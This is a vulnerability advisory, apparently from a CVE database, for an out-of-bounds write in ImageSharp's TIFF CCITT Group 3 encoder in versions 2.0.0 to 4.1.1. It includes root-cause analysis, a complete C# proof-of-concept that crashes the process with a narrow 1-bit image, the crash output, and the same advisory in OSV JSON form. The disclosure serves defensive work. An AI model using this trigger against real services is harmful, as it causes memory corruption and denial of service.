GHSA-J9GM-C75J-XC9Q
Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24Summary
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.
This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 2.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.
Preconditions and impact
The affected path is reached when the application encodes 1-bit image data with TiffCompression.CcittGroup3Fax. This can happen when an application explicitly selects TiffEncoder.BitsPerPixel = Bit1 and TiffEncoder.Compression = CcittGroup3Fax. It can also occur when an application decodes a TIFF and re-encodes it using the default TiffEncoder, because ImageSharp retains TIFF frame metadata including the compression and bit depth.
TiffCompressorFactory creates T4BitCompressor for CcittGroup3Fax. TiffCcittCompressor.Initialize allocates Width * rowsPerStrip bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. WriteCode calls BitWriterUtils.WriteBit and WriteZeroBit, both of which use Unsafe.Add without a capacity check. Thus the encoded bit stream can exceed the allocated span.
A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal System.AccessViolationException during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.
Tested environment
- Package binary: NuGet
SixLabors.ImageSharp4.1.1 - Target framework:
net8.0 - Runtime: .NET 8.0.30; SDK 8.0.424
- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker
No active exploitation is known.
Reproduction
In a net8.0 project that references the published SixLabors.ImageSharp 4.1.1 binary, save the following as Program.cs. Run dotnet run -- exploit 2000 for the trigger and dotnet run -- control 2000 for the control.
using System;
using System.IO;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
using SixLabors.ImageSharp.PixelFormats;
string mode = args.Length > 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;
Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image<L8>(width, height);
for (int y = 0; y < image.Height; y++)
for (int x = 0; x < image.Width; x++)
image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;
using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
Against the published 4.1.1 package, this produced:
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
at ...TiffCcittCompressor.GetWhiteTermCode(...)
at ...T4BitCompressor.CompressStrip(...)
A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:
mode=control width=64 height=2000
Encoded OK: 76230 bytes
The direct public configuration path also triggers with:
new TiffEncoder
{
BitsPerPixel = TiffBitsPerPixel.Bit1,
Compression = TiffCompression.CcittGroup3Fax
};
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106110"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:24:28Z",
"nvd_published_at": "2026-10-06T18:16:52Z",
"severity": "HIGH"
},
"details": "### Summary\n\nImageSharp\u0027s TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.\n### Preconditions and impact\n\nThe affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.\n\n`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.\n\nA 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.\n\n### Tested environment\n\n- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**\n- Target framework: `net8.0`\n- Runtime: .NET 8.0.30; SDK 8.0.424\n- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nIn a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.\n\n```csharp\nusing System;\nusing System.IO;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstring mode = args.Length \u003e 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length \u003e 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image\u003cL8\u003e(width, height);\nfor (int y = 0; y \u003c image.Height; y++)\n for (int x = 0; x \u003c image.Width; x++)\n image[x, y] = new L8((byte)(((x + y) \u0026 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n at ...TiffCcittCompressor.GetWhiteTermCode(...)\n at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n BitsPerPixel = TiffBitsPerPixel.Bit1,\n Compression = TiffCompression.CcittGroup3Fax\n};\n```",
"id": "GHSA-j9gm-c75j-xc9q",
"modified": "2026-10-07T20:24:28Z",
"published": "2026-10-07T20:24:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j9gm-c75j-xc9q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106110"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/pull/3187"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.